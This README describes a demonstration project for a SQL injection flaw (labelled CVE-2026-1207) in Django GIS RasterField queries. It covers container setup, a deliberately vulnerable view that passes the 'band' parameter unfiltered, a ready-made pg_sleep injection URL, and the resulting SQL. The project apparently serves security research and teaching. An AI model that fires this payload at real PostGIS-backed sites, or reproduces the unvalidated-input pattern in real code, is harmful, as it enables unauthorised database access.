
Django 框架在使用 PostGIS 查询地理栅格(raster)数据时,若将未经验证的用户输入直接作为 band index(波段索引)参数,会引发 SQL 注入
Vulnerability Type: SQL Injection
Affected Component: django.contrib.gis RasterField
When querying with Django GIS's RasterField, the band parameter is directly concatenated into the SQL statement, leading to a SQL injection vulnerability. Attackers can inject arbitrary SQL code by crafting a malicious band parameter value.
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer configuration
├── .vscode/ # VSCode configuration
├── vuln/ # Vulnerability demonstration application
│ ├── models.py # Model containing RasterField
│ ├── views.py # Vulnerability trigger point
│ └── migrations/ # Database migration files
├── web/ # Django project configuration
├── manage.py
├── README.md
This vulnerability project is built using VSCode's devcontainer.
Open the existing project root directory (containing the .devcontainer folder) with VS Code.
Press Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac)
Enter Remote-Containers: Reopen in Container
VS Code will read the .devcontainer configuration and build the container (the first build may take a few minutes)
⚠️ If the Dockerfile or dependencies have been updated, you can select Remote-Containers: Rebuild Container to ensure the latest environment is used.
Open the command palette Ctrl+Shift+P
Enter Tasks: Run Task
Select django:start (the task is already configured in .vscode/tasks.json)
This task will start the Django development server inside the container
It listens on 0.0.0.0:8087 by default
Open a browser and visit:
http://localhost:8087
Database migrations may need to be run on first execution:
python manage.py migrate
The vulnerability analysis details are published at 先知 https://xz.aliyun.com/news/91993
WeChat Official Account https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
Visit the following URL to trigger the SQL injection:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
Observe the response time. Normal requests should return immediately, while the injection request will be delayed by approximately 3 seconds.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← Unfiltered user input
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band is passed directly into the query
print(qs.query) # ← View the generated SQL
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
This project is for security research and educational purposes only. Do not use it on unauthorized systems.